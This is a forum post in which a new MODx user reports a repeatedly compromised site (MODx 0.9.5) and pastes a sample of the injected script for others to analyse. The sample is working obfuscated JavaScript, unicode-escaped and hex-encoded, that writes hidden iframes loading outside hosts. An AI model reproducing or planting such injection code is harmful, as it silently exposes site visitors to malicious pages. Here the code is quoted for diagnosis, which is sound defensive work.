Hello all...
I’m fairly new to MODx, just learning. But I do know one of my sites’ security has been compromised, because I’m getting malicious scripts on a few of my pages. When I first noticed the problem I wasn’t sure what it was. So I just uploaded a fresh (from the install zip) index.php file. The next time I checked it, it was infected again. Also manager/index.php was corrupted.... So I uploaded a fresh copy again and in a matter of a few hours was infected again...
Here is a sample of the malicious script:
<script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0027\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u0072\u0074\u0074\u0072\u0061\u0066\u0066\u0069\u0063\u002e\u0062\u0069\u007a\u002f\u0027\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0027\u0031\u0027\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0027\u0031\u0027\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0027\u0076\u0069\u0073\u0069\u0062\u0069\u006c\u0069\u0074\u0079\u003a\u0020\u0068\u0069\u0064\u0064\u0065\u006e\u003b\u0027\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e')</script><script>function v470e68e00126e(v470e68e0014cf){ return(parseInt(v470e68e0014cf,16));}function v470e68e002088(v470e68e00246b){ var v470e68e003027=2; var v470e68e002858='';for(v470e68e002c6a=0; v470e68e002c6a<v470e68e00246b.length; v470e68e002c6a+=v470e68e003027){ v470e68e002858+=(String.fromCharCode(v470e68e00126e(v470e68e00246b.substr(v470e68e002c6a, v470e68e003027))));}return v470e68e002858;} document.write(v470e68e002088('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D33373237626433366338207372633D5C27687474703A2F2F742D726F6F742E6F72672F74726166662F696672616D652E7068703F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3639333638292B273261395C272077696474683D323332206865696768743D323939207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>
I want some people to look at it as is, before I attempt a lot of fixes.
I’m interested in the how and why, so I dont’ want to fix it without knowing that.
Site:
www.belmontinn.net
MODx version: 0.9.5
I’ll provide more details as needed...